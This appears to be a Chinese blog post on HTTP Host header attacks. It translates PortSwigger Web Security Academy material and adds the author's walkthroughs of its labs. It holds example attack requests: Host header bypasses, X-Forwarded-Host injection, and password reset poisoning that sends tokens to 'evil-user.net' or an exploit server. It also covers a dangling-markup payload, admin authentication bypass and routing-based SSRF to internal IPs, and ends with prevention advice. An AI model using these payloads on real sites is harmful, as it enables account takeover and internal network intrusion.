侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

HTTP主机头攻击

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 379 阅读 / 10,211 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

HTTP 主机头攻击

image-20211027154409657

​ 这里讨论错误配置和有缺陷的业务逻辑如何通过 HTTP 主机标头将网站暴露给各种攻击。概述识别易受 HTTP 主机标头攻击的网站的高级方法,并演示如何利用它。最后,我们将提供一些有关如何保护自己网站的一般指导

什么是HTTP主机标头

​ 从 HTTP/1.1 开始,HTTP Host 标头是强制性的请求标头。它指定客户端要访问的域名。例如,当用户访问 时https://portswigger.net/web-security,他们的浏览器将编写一个包含 Host 标头的请求,如下所示:

GET /web-security HTTP/1.1
Host: portswigger.net

在某些情况下,例如当请求已由中间系统转发时,Host 值可能会在它到达预期的后端组件之前被更改。

HTTP Host标头的目标是什么

​ HTTP Host 标头的目的是帮助识别客户端想要与之通信的后端组件。如果请求不包含 Host 标头,或者 Host 标头以某种方式格式错误,这可能会导致将传入请求路由到预期应用程序时出现问题。

​ 从历史上看,这种歧义并不存在,因为每个 IP 地址只会托管单个域的内容。如今,主要是由于基于云的解决方案和外包大部分相关架构的不断增长的趋势,多个网站和应用程序可以在同一个 IP 地址上访问是很常见的。这种方法也越来越流行,部分原因是 IPv4 地址耗尽。

​ 当多个应用程序可通过同一 IP 地址访问时,这通常是以下情况之一的结果。

虚拟主机

​ 一种可能的情况是单个 Web 服务器托管多个网站或应用程序。这可能是一个所有者的多个网站,但也可以将拥有不同所有者的网站托管在一个共享平台上。这不像以前那么常见,但仍然会出现在一些基于云的 SaaS 解决方案中。

​ 在任何一种情况下,虽然这些不同的网站中的每一个都有不同的域名,但它们都与服务器共享一个公共 IP 地址。在单个服务器上以这种方式托管的网站被称为“虚拟主机”。

​ 对于访问网站的普通用户来说,虚拟主机通常与托管在其自己的专用服务器上的网站无法区分。

通过中介路由流量

​ 另一种常见情况是网站托管在不同的后端服务器上,但客户端和服务器之间的所有流量都通过中间系统路由。这可能是一个简单的负载平衡器或某种反向代理服务器。这种设置在客户端通过内容交付网络 (CDN) 访问网站的情况下尤为普遍。

​ 在这种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也解析为中间组件的单个 IP 地址。这带来了一些与虚拟主机相同的挑战,因为反向代理或负载平衡器需要知道它应该将每个请求路由到的适当后端。

HTTP Host头是如何解决这个问题的

​ 在这两种情况下,都依赖 Host 标头来指定预期的收件人。一个常见的类比是给住在公寓楼的人寄一封信的过程。整栋建筑都有相同的街道地址,但在这个街道地址后面有许多不同的公寓,每个公寓都需要以某种方式接收正确的邮件。解决此问题的一种方法是简单地在地址中包含公寓号或收件人姓名。在 HTTP 消息的情况下,Host 头用于类似的目的。

​ 当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址。当此服务器收到请求时,它会参考 Host 标头来确定预期的后端并相应地转发请求。

什么是HTTP主机标头攻击

​ HTTP Host 标头攻击利用易受攻击的网站,这些网站以不安全的方式处理 Host 标头的值。如果服务器隐式信任 Host 标头,并且未能正确验证或转义它,则攻击者可能能够使用此输入注入操纵服务器端行为的有害负载。涉及将有效负载直接注入主机标头的攻击通常称为“主机标头注入”攻击。

​ 除非在安装过程中在配置文件中手动指定,否则现成的 Web 应用程序通常不知道它们部署在哪个域上。当他们需要知道当前域时,例如,生成包含在电子邮件中的绝对 URL,他们可能会求助于从 Host 标头中检索域:

<a href="https://_SERVER['HOST']/support">Contact support</a>

标头值还可用于网站基础设施的不同系统之间的各种交互。

由于 Host 标头实际上是用户可控制的,因此这种做法可能会导致许多问题。如果输入未正确转义或验证,则 Host 标头是利用一系列其他漏洞的潜在载体,最显着的是:

  • 网页缓存中毒
  • 特定功能中的 业务逻辑缺陷
  • 基于路由的SSRF
  • 经典的服务器端漏洞,例如 SQL 注入

HTTP Host标头漏洞是如何产生的

​ HTTP Host 标头漏洞通常是由于用户无法控制标头的错误假设而出现的。这会在 Host 标头中创建隐式信任并导致验证不充分或对其值进行转义,即使攻击者可以使用 Burp Proxy 等工具轻松修改它。

​ 即使 Host 标头本身被更安全地处理,根据处理传入请求的服务器的配置,Host 可能会通过注入其他标头而被覆盖。有时网站所有者不知道默认情况下支持这些标头,因此,它们可能不会受到相同级别的审查。

​ 事实上,许多这些漏洞的出现并不是因为不安全的编码,而是因为相关基础设施中一个或多个组件的不安全配置。之所以会出现这些配置问题,是因为网站将第三方技术集成到其架构中,而不必了解配置选项及其安全含义。

如何识别和利用HTTP Host 漏洞

如何使用HTTP Host标头测试漏洞

​ 要通过 HTTP Host 标头测试网站是否容易受到攻击,需要一个拦截代理(例如 Burp Proxy)和手动测试工具(例如 Burp Repeater 和 Burp Intruder)。

​ 简而言之,需要确定是否能够修改 Host 标头并仍然通过发送的请求到达目标应用程序。如果是这样,就可以使用此标头来探测应用程序并观察这对响应有什么影响。

提供任意Host标头

​ 在探测 Host 标头注入漏洞时,第一步是测试当通过 Host 标头提供任意的、无法识别的域名时会发生什么。

​ 一些拦截代理直接从 Host 头中获取目标 IP 地址,这使得这种测试几乎不可能;对标头所做的任何更改只会导致将请求发送到完全不同的 IP 地址。但是,Burp Suite 准确地保持了 Host 标头和目标 IP 地址之间的分离。这种分离允许提供所需的任意或格式错误的 Host 标头,同时仍确保将请求发送到预期目标。

​ 有时,即使提供了意外的 Host 标头,仍然可以访问目标网站。这可能有多种原因。例如,服务器有时会配置默认或回退选项,以防它们收到对它们无法识别的域名的请求。如果目标网站恰好是默认网站,那么很幸运。在这种情况下,可以开始研究应用程序对 Host 标头做了什么以及这种行为是否可利用。

​ 另一方面,由于 Host 标头是网站工作方式的基本组成部分,因此篡改它通常意味着将根本无法访问目标应用程序。接收请求的前端服务器或负载平衡器可能根本不知道将其转发到何处,从而导致某种“ Invalid Host header”错误。如果目标是通过 CDN 访问的,则这种情况尤其可能发生。在这种情况下,应该继续尝试下面概述的一些技术。

检查有缺陷的验证

Invalid Host header可能会发现请求由于某种安全措施而被阻止, 而不是收到“ ”响应。例如,某些网站会验证 Host 标头是否与来自 TLS 握手的 SNI 匹配。这并不一定意味着它们不受 Host 标头攻击的影响。

​ 应该尝试了解网站如何解析 Host 标头。这有时可以揭示可用于绕过验证的漏洞。例如,某些解析算法会从 Host 标头中省略端口,这意味着仅验证域名。如果还能够提供非数字端口,则可以保持域名不变以确保到达目标应用程序,同时可能通过端口注入有效负载

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

其他站点将尝试应用匹配逻辑以允许任意子域。在这种情况下,可以通过注册一个以与列入白名单的字符序列相同的字符序列结尾的任意域名来完全绕过验证:

GET /example HTTP/1.1
Host: notvulnerable-website.com

或者,可以利用已经攻陷的安全性较低的子域:

GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com
发送模棱两可的请求

​ 验证主机的代码和执行易受攻击的代码的代码通常位于不同的应用程序组件中,甚至位于不同的服务器上。通过识别和利用它们检索 Host 标头方式的差异,可能能够发出一个模糊的请求,该请求似乎具有不同的主机,具体取决于哪个系统正在查看它。

以下只是如何创建模棱两可的请求的几个示例。

注入重复的主机标头

​ 一种可能的方法是尝试添加重复的 Host 标头。诚然,这通常只会导致请求被阻止。但是,由于浏览器不太可能发送这样的请求,所以可能偶尔会发现开发人员没有预料到这种情况。在这种情况下,可能会暴露一些有趣的行为怪癖。

​ 不同的系统和技术会以不同的方式处理这种情况,但通常两个标头之一优先于另一个标头,从而有效地覆盖其值。当系统“不同意”哪个标头是正确的标头时,这可能会导致可以利用的差异。考虑以下请求:

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

假设前端优先于标头的第一个实例,但后端更喜欢最后一个实例。在这种情况下,可以使用第一个标头来确保请求被路由到预期目标,并使用第二个标头将有效负载传递到服务器端代码中。

提供绝对URL

​ 尽管请求行通常指定请求域上的相对路径,但许多服务器也被配置为理解对绝对 URL 的请求。

​ 提供绝对 URL 和 Host 标头导致的歧义也可能导致不同系统之间的差异。正式地,在路由请求时应优先考虑请求行,但在实践中,情况并非总是如此。可以以与重复主机标头大致相同的方式利用这些差异。

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

请注意,可能还需要尝试不同的协议。服务器有时会根据请求行是包含 HTTP 还是 HTTPS URL 而表现不同。

添加换行

​ 还可以通过使用空格字符缩进 HTTP 标头来发现奇怪的行为。某些服务器会将缩进的标头解释为换行,因此将其视为前面标头值的一部分。其他服务器将完全忽略缩进的标头。

​ 由于处理这种情况的高度不一致,处理请求的不同系统之间经常会出现差异。例如,考虑以下请求:

GET /example HTTP/1.1 
	Host: bad-stuff-here
Host: vulnerable-website.com

该网站可能会阻止具有多个 Host 标头的请求,但可以通过像这样缩进其中一个标头来绕过此验证。如果前端忽略缩进的标头,则该请求将作为普通请求处理vulnerable-website.com。现在假设后端忽略前导空格并在重复的情况下优先考虑第一个标头。这种差异可能允许通过“包装的” Host 标头传递任意值。

其他技术

​ 这只是发出有害、模棱两可的请求的多种可能方式中的一小部分。例如,还可以采用许多 HTTP 请求走私技术来构建 Host 头攻击等等

注入主机覆盖标头

​ 即使无法使用不明确的请求覆盖 Host 标头,也有其他可能性可以覆盖其值,同时保持其完好无损。这包括通过其他几个旨在满足此目的的 HTTP 标头之一注入有效负载,尽管用于更无辜的用例。

​ 正如我们已经讨论过的,网站通常是通过某种中间系统访问的,例如负载平衡器或反向代理。在这种架构中,后端服务器接收到的 Host 标头可能包含这些中间系统之一的域名。这通常与请求的功能无关。

​ 为了解决这个问题,前端可能会注入X-Forwarded-Host头部,其中包含来自客户端初始请求的 Host 头部的原始值。因此,当存在 X-Forwarded-Host标头时,许多框架将改为引用它。即使没有使用此标头的前端,您也可能会观察到此行为。

​ 有时可以X-Forwarded-Host用来注入恶意输入,同时绕过对 Host 标头本身的任何验证。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

虽然X-Forwarded-Host是这种行为的事实上的标准,但可能会遇到其他具有类似目的的标头,包括:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

从安全角度来看,重要的是要注意某些网站(甚至可能是自己的网站)无意中支持这种行为。这通常是因为这些标头中的一个或多个在它们使用的某些第三方技术中默认启用。

如何利用HTTP Host标头

​ 一旦确定可以将任意主机名传递给目标应用程序,就可以开始寻找利用它的方法

密码重置中毒

攻击者有时可以使用Host标头进行密码重置中毒攻击
密码重置中毒是一种攻击者操纵易受攻击的网站生成指向其控制域的密码重置链接的技术。可以利用这种行为窃取重置任意用户密码所需的秘密令牌,并最终危及他们的帐户。

image-20211029143920122

密码重置如何工作

​ 几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。有几种方法可以做到这一点,具有不同程度的安全性和实用性。最常见的方法之一是这样的:

  1. 用户输入他们的用户名或电子邮件地址并提交密码重置请求。
  2. 该网站会检查该用户是否存在,然后生成一个临时的、唯一的、高熵的令牌,并将其与后端的用户帐户相关联。
  3. 该网站向用户发送一封电子邮件,其中包含重置密码的链接。用户唯一的重置令牌作为查询参数包含在相应的 URL 中:
    https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  4. 当用户访问此 URL 时,网站会检查所提供的令牌是否有效并使用它来确定正在重置哪个帐户。如果一切都符合预期,用户可以选择输入新密码。最后,令牌被销毁。

与其他一些方法相比,此过程足够简单且相对安全。然而,它的安全性依赖于这样一个原则,即只有目标用户才能访问他们的电子邮件收件箱,因此,才能访问他们的唯一令牌。密码重置中毒是一种窃取此令牌以更改其他用户密码的方法。

如何构建密码重置中毒攻击

​ 如果发送给用户的 URL 是基于可控输入动态生成的,例如 Host 头,则可能构造如下密码重置中毒攻击:

  1. 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表他们提交密码重置请求。提交表单时,他们拦截生成的 HTTP 请求并修改 Host 标头,使其指向他们控制的域。对于此示例,我们将使用evil-user.net.
  2. 受害者直接从网站收到一封真正的密码重置电子邮件。这似乎包含一个用于重置其密码的普通链接,最重要的是,它包含与他们的帐户相关联的有效密码重置令牌。但是,URL 中的域名指向攻击者的服务器:
    https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
  3. 如果受害者点击此链接(或以其他方式获取,例如通过防病毒扫描程序),密码重置令牌将被传送到攻击者的服务器。
  4. 攻击者现在可以访问易受攻击网站的真实 URL,并通过相应的参数提供受害者的被盗令牌。然后他们将能够将用户的密码重置为他们喜欢的任何内容,然后登录到他们的帐户。

例如,在真正的攻击中,攻击者可能会通过首先用虚假的违规通知预热受害者来增加受害者点击链接的可能性。

即使无法控制密码重置链接,有时也可以使用 Host 标头将 HTML 注入敏感电子邮件。请注意,电子邮件客户端通常不执行 JavaScript,但其他 HTML 注入技术(如悬空标记攻击)可能仍然适用。

LAB:基本密码重置中毒

登录框处点击忘记密码、输入wiener,查看邮箱
image-20211029145341843

邮箱的确认链接中包含参数:temp-forgot-password-token
点击重置链接、即可输入新密码重置登录账户

查看http历史、重置用户密码的POST请求为
image-20211029145821367

修改Host头,任可触发密码重置操作
image-20211029145951899
image-20211029150021096

邮件中的重置密码链接包含刚刚修改的Host标头

所以可以将Host标头修改为漏洞利用服务器的域名,并将username的值修改为carlos
image-20211029150428293
再查看漏洞利用服务器的日志
image-20211029150544289

可以看见temp-forgot-password-token参数

使用收到的第一封真正的重置密码链接,将这个temp-forgot-password-token参数给予替换,即可重置carlos的密码
image-20211029151000380
image-20211029151029539

LAB:通过中间件重设密码中毒

登录处、点击忘记密码,在次数据包中添加X-Forwarded-Host标头,发现可行
image-20211029152633020
image-20211029152658085
同样的邮件中的url包含了刚刚添加了的标头信息,利用上述信息

image-20211029152909114

查看漏洞利用服务器日志
image-20211029153001732
获得修改carlos账户的temp-forgot-password-token,使用正在的重置密码url,替换掉token值,重置密码后登录
image-20211029153221057

LAB:通过悬空标记重置密码中毒

这次邮箱直接包含了新的密码

修改host会报错、添加非数字端口不会报错,照常会收到密码重置邮箱image-20211029161047060
查看邮件中的click here链接,image-20211029161036401

使用端口打破字符串并注入指向漏洞利用服务器的悬空标记负载:
Host: your-lab-id.web-security-academy.net:'<a href="//your-exploit-server-id.web-security-academy.net/?
image-20211029161552994

邮箱收到了封缺失大部分内容的重置密码邮件,查看邮箱访问日志
image-20211029161758258

其中一条包含了邮件缺失内容的密码,登录成功
image-20211029161926660

同样的方法获取carlos的重置密码
image-20211029162125803
image-20211029162154924

通过Host标头的Web缓存中毒

​ 在探测潜在的 Host 标头攻击时,经常会遇到看似易受攻击但无法直接利用的行为。例如,可能会发现 Host 标头反映在没有 HTML 编码的响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如XSS)通常在由 Host 标头引起时不可利用。攻击者无法强制受害者的浏览器以有用的方式发布不正确的主机。

​ 但是,如果目标使用 Web 缓存,则有可能通过说服缓存为其他用户提供中毒响应,将这种无用的、反映的漏洞变成危险的、存储的漏洞。

​ 要构建 Web 缓存中毒攻击,需要从服务器获取反映注入负载的响应。挑战在于在保留仍将映射到其他用户请求的缓存键的同时执行此操作。如果成功,下一步就是缓存这个恶意响应。然后它将提供给任何试图访问受影响页面的用户。

​ 独立缓存通常在缓存键中包含 Host 标头,因此这种方法通常最适用于集成的应用程序级缓存。也就是说,前面讨论的技术有时甚至可以使您毒害独立的 Web 缓存。

LAB:通过模糊请求导致Web缓存中毒

image-20220415222052733

漏洞利用服务器

image-20220415222309966

image-20220415222420445

利用经典的服务器端漏洞

​ 每个 HTTP 标头都是利用经典服务器端漏洞的潜在载体,Host 标头也不例外。例如,通过 Host 标头尝试通常的SQL 注入探测技术。如果将标头的值传递到 SQL 语句中,则可能会被利用。

访问受限功能

​ 出于相当明显的原因,网站通常只允许内部用户访问某些功能。但是,某些网站的访问控制功能做出了有缺陷的假设,允许通过对 Host 标头进行简单修改来绕过这些限制。这可能会增加其他漏洞的攻击面。

LAB:主机头认证绕过

image-20211029163410462
image-20211029163334993

local user 可以访问/admin,Host修改为localhost

image-20211029163548400

image-20211029163647975

使用虚拟主机暴力破解范围跟内部网站

​ 公司有时会犯在同一台服务器上托管可公开访问的网站和私人内部网站的错误。服务器通常具有公共和私有 IP 地址。由于内部主机名可能会解析为私有 IP 地址,因此仅通过查看 DNS 记录无法始终检测到这种情况:

www.example.com: 12.34.56.78
intranet.example.com: 10.0.0.132

在某些情况下,内部站点甚至可能没有与之关联的公共 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们可以猜测主机名。如果他们通过其他方式发现了隐藏域名,例如信息泄露,他们可以直接请求。否则,他们可以使用 Burp Intruder 之类的工具使用简单的候选子域词表来暴力破解虚拟主机。

基于路由的SSRF

​ 有时也可以使用 Host 标头发起高影响力、基于路由的 SSRF 攻击。这些有时被称为“主机头 SSRF 攻击”。

​ 经典 SSRF 漏洞通常基于XXE或可利用的业务逻辑,将 HTTP 请求发送到从用户可控输入派生的 URL。另一方面,基于路由的 SSRF 依赖于利用许多基于云的架构中普遍存在的中间组件。这包括内部负载平衡器和反向代理。

​ 尽管这些组件的部署目的不同,但从根本上说,它们接收请求并将它们转发到适当的后端。如果它们被不安全地配置为基于未经验证的 Host 标头转发请求,则它们可能被操纵为将请求错误路由到攻击者选择的任意系统。

​ 这些系统是绝佳的目标。他们处于特权网络位置,允许他们直接从公共网络接收请求,同时还可以访问大部分(如果不是全部)内部网络。这使得 Host 标头成为 SSRF 攻击的强大载体,有可能将简单的负载均衡器转变为通向整个内部网络的网关。

​ 可以使用 Burp Collaborator 来帮助识别这些漏洞。如在 Host 标头中提供 Collaborator 服务器的域,然后从目标服务器或其他路径内系统接收 DNS 查找,这表明可以将请求路由到任意域。

​ 确认可以成功操纵中间系统将请求路由到任意公共服务器后,下一步是查看是否可以利用此行为访问仅限内部使用的系统。为此,需要确定目标内部网络上正在使用的私有 IP 地址。除了应用程序泄露的任何 IP 地址之外,还可以扫描属于公司的主机名,以查看是否有任何解析为私有 IP 地址。如果所有其他方法都失败了,仍然可以通过简单地强制使用标准私有 IP 范围(例如192.168.0.0/16.)

CIDR 表示法

IP 地址范围通常使用 CIDR 表示法表示,例如,192.168.0.0/16

IPv4 地址由四个称为“八位字节”的 8 位十进制值组成,每个十进制值由一个点分隔。每个八位字节的值可以在 0 到 255 的范围内,这意味着可能的 IPv4 地址最低0.0.0.0和最高255.255.255.255

在 CIDR 表示法中,范围内的最低 IP 地址被明确写入,然后是另一个数字,该数字指示从给定地址的开头有多少位在整个范围内是固定的。例如,10.0.0.0/8表示前 8 位是固定的(第一个八位字节)。换句话说,此范围包括从10.0.0.0到 的所有 IP 地址10.255.255.255

LAB:基于路由的SSRF

image-20211030111558865
将Host标头值替换为Collaborator 域名、发送,发现Collaborator 客户端收到了几个网络交互、其中包好一个HTTP请求,这确认能向任意服务器发出网站的中间件的问题请求

image-20211030112053261
爆破出一个状态为302的内网ip地址,并重定向到 /admin

image-20211030112343455

想法删除用户、网站使用了CSRF令牌参数生成一个POST请求,所以需要收到制作一个等效的请求来删除carlos;

image-20211031103630343host因为重启lab后发生了变化

LAB:SSRF通过有缺陷的请求解析

修改Host报错(4xx),但GET请求提供绝对路径时,回显timeout,这表明验证的是绝对URL,而非Host
image-20211031104539745

使用Collaborator客户端确认可以通过这种方式向任意服务器发出网站的中间件请求
image-20211031104856638

爆破管理地址
image-20211031105129712

image-20211031105223769
image-20211031105433481

SSRF通过格式错误的请求行

​ 自定义代理有时无法正确验证请求行,这可能会导致提供异常、格式错误的输入并导致不幸的结果。

例如,反向代理可能会从请求行中获取路径,加上前缀http://backend-server,然后将请求路由到该上游 URL。如果路径以/字符开头,这可以正常工作,但是如果以@字符开头呢?

GET @private-intranet/example HTTP/1.1

生成的上游 URL 将是http://backend-server@private-intranet/example,大多数 HTTP 库将其解释为private-intranet使用用户名访问的请求backend-server

如何防止HTTP Host头攻击

​ 为了防止 HTTP Host 标头攻击,最简单的方法是避免在服务器端代码中完全使用 Host 标头。仔细检查每个 URL 是否真的需要是绝对的。经常会发现,可以只使用相对 URL。这种简单的更改可以帮助防止Web 缓存中毒漏洞。

其他防止 HTTP Host 标头攻击的方法包括:

保护绝对 URL

​ 当必须使用绝对 URL 时,应该要求在配置文件中手动指定当前域并引用此值而不是 Host 标头。例如,这种方法将消除密码重置中毒的威胁。

验证主机标头

​ 如果必须使用 Host 标头,请确保正确验证它。这应该涉及根据允许域的白名单进行检查,并拒绝或重定向对无法识别的主机的任何请求。应该查阅框架的文档以获取有关如何执行此操作的指导。例如,Django 框架ALLOWED_HOSTS在设置文件中提供了该选项。这种方法将减少您遭受 Host 标头注入攻击的风险。

不支持主机覆盖标头

​ 检查是否不支持可用于构建这些攻击的其他标头也很重要,尤其是X-Forwarded-Host. 请记住,默认情况下可能支持这些。

白名单允许的域

​ 为了防止对内部基础设施的基于路由的攻击,您应该配置您的负载平衡器或任何反向代理,以仅将请求转发到允许域的白名单。

小心使用仅限内部的虚拟主机

​ 使用虚拟主机时,应该避免在与面向公众的内容相同的服务器上托管仅供内部使用的网站和应用程序。否则,攻击者可能能够通过主机头操作访问内部域。

0

评论区